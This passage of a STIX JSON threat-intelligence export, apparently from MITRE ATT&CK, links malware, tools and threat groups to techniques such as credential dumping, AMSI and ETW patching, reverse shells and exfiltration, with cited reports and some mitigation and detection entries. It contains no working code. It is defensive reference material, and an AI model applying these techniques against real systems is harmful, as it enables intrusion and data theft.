2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c1446c4-66b2-4b70-96df-7fd2414522be","type":"relationship","created":"2019-04-23T14:59:04.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2020-03-19T23:58:54.918Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains an implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to gather credentials from memory.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8c155a65-b89f-44aa-b4c0-1374208a3fed","created":"2022-03-25T16:21:29.468Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute net view on a targeted system.(Citation: NTT Security Flagpro new December 2021) ","modified":"2022-04-13T20:16:10.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c1c7c51-f9bf-4163-a01b-7d922a2d1a93","type":"relationship","created":"2019-06-04T17:45:28.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}],"modified":"2021-09-08T19:22:44.740Z","description":"[SynAck](https://attack.mitre.org/software/S0242) encrypts the victims machine followed by asking the victim to pay a ransom. (Citation: SecureList SynAck Doppelgänging May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c263b12-46f5-452c-908e-3bc80fba3bf5","created":"2022-03-14T14:37:50.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.859Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can enumerate connected remote logical drives.(Citation: Cisco Ukraine Wipers January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c271707-cc73-4cb5-a554-75d74abafac9","type":"relationship","created":"2020-02-25T19:34:15.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:35:58.335Z","description":"Disable the remote service (ex: SSH, RDP, etc.) if it is unnecessary.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c273532-e27f-4424-a369-5373ce3652b9","created":"2023-09-14T19:05:37.469Z","revoked":false,"external_references":[{"source_name":"MalwareBytes Ngrok February 2020","description":"Segura, J. (2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020.","url":"https://blog.malwarebytes.com/threat-analysis/2020/02/fraudsters-cloak-credit-card-skimmer-with-fake-content-delivery-network-ngrok-server/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T19:05:37.469Z","description":"[ngrok](https://attack.mitre.org/software/S0508) has been used by threat actors to configure servers for data exfiltration.(Citation: MalwareBytes Ngrok February 2020)","relationship_type":"uses","source_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c29eb34-02dd-42c8-9324-bfad5cde2fc7","type":"relationship","created":"2022-03-22T17:29:01.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T17:29:01.056Z","description":"[Neoichor](https://attack.mitre.org/software/S0691) has the ability to configure browser settings by modifying Registry entries under `HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer`.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c2a7700-2054-4db1-b566-391f23a9f30a","type":"relationship","created":"2020-07-23T14:29:04.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy2 June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/","description":"Trustwave SpiderLabs. (2020, June 26). GoldenSpy: Chapter Two – The Uninstaller. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:29:04.748Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493)'s uninstaller can delete registry entries, files and folders, and finally itself once these tasks have been completed.(Citation: Trustwave GoldenSpy2 June 2020)","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c359d18-06fc-4db1-9b58-6e85fa563066","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T15:59:20.517Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) installs a registry Run key to establish persistence.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c39aad5-7103-4e77-a308-bc37bd46e680","created":"2024-09-27T12:46:25.278Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T12:46:25.278Z","description":"Monitor for files with large entropy which don’t match what is normal/expected given the file type and location.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c3d3be5-88b1-4ad8-a775-822bed655615","created":"2023-02-08T18:44:06.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MDSec Brute Ratel August 2022","description":"Chell, D. PART 3: How I Met Your Beacon – Brute Ratel. Retrieved February 6, 2023.","url":"https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"},{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T23:31:45.671Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to hide memory artifacts and to patch Event Tracing for Windows (ETW) and the Anti Malware Scan Interface (AMSI).(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c418cb5-2cff-45f9-ad5d-b8b65cde713c","type":"relationship","created":"2021-03-01T14:07:36.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.541Z","description":"[LookBack](https://attack.mitre.org/software/S0582) uses a modified version of RC4 for data transfer.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c4a2bd5-109b-4e49-ae67-a9bf02a029e7","created":"2023-03-06T21:18:18.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:55:23.777Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has added a user named DefaultAccount to the Administrators and Remote Desktop Users groups.(Citation: DFIR Report APT35 ProxyShell March 2022)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c56c995-3538-46bc-a05e-b0cffda55198","created":"2024-09-17T16:10:51.085Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:10:51.085Z","description":"(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c58cfe5-0b71-434c-939a-329b612d2337","created":"2017-05-31T21:33:27.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.707Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c5c3632-2327-4ff2-ada8-25036a19b85a","created":"2024-03-25T18:34:49.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:48:27.087Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) can use `whoami` to obtain the username from a compromised host.(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c5e20b3-b15c-4c08-84fe-eeacd9209375","type":"relationship","created":"2020-05-05T20:54:53.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-05T20:54:53.104Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used right-to-left-override to obfuscate the filenames of malicious e-mail attachments.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c677ccc-427f-43b8-a7b8-0c7a00001b9b","created":"2022-01-11T14:58:01.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.930Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can use `cmd.exe` to execute commands.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c6af9f3-6301-4d49-afff-1fda7db57e3a","created":"2024-03-05T20:57:54.158Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T20:57:54.158Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors leveraged exploits to download remote files to Ivanti Connect Secure VPNs.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c720d3f-ad94-4668-a7f4-75104109df53","created":"2024-01-19T20:13:30.346Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:13:30.346Z","description":"[Ninja](https://attack.mitre.org/software/S1100) loader components can be executed through rundll32.exe.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c73e0be-f105-4f22-93b4-cb765fb8f419","type":"relationship","created":"2021-04-13T13:10:37.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:10:37.092Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can use encryption and base64 encoding to hide strings and to enforce access control once deployed.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c7631c4-bc83-4ee5-abb5-c039d63da619","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:18:28.526Z","description":"Some strings in [HOMEFRY](https://attack.mitre.org/software/S0232) are obfuscated with XOR x56.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T16:06:14.500Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) gathered information and files from local directories for exfiltration.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c77a88d-1390-4736-b7c9-f902b62d7f45","type":"relationship","created":"2020-05-06T21:31:07.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.590Z","description":"Before exfiltration, [Okrum](https://attack.mitre.org/software/S0439)'s backdoor has used hidden files to store logs and outputs from backdoor commands.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c79800f-4f3c-41ad-8d35-7d11c6cd65b3","type":"relationship","created":"2021-06-24T20:07:08.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-06-24T20:07:08.395Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) has used HTTP GET and POST requests over port 443 for C2.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8c85fcbd-cb56-45be-ba9f-ba67177f2785","created":"2024-03-04T19:11:59.190Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-04T19:11:59.190Z","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) can use `/bin/sh` to create a reverse shell and execute commands.(Citation: Mandiant Cutting Edge January 2024) 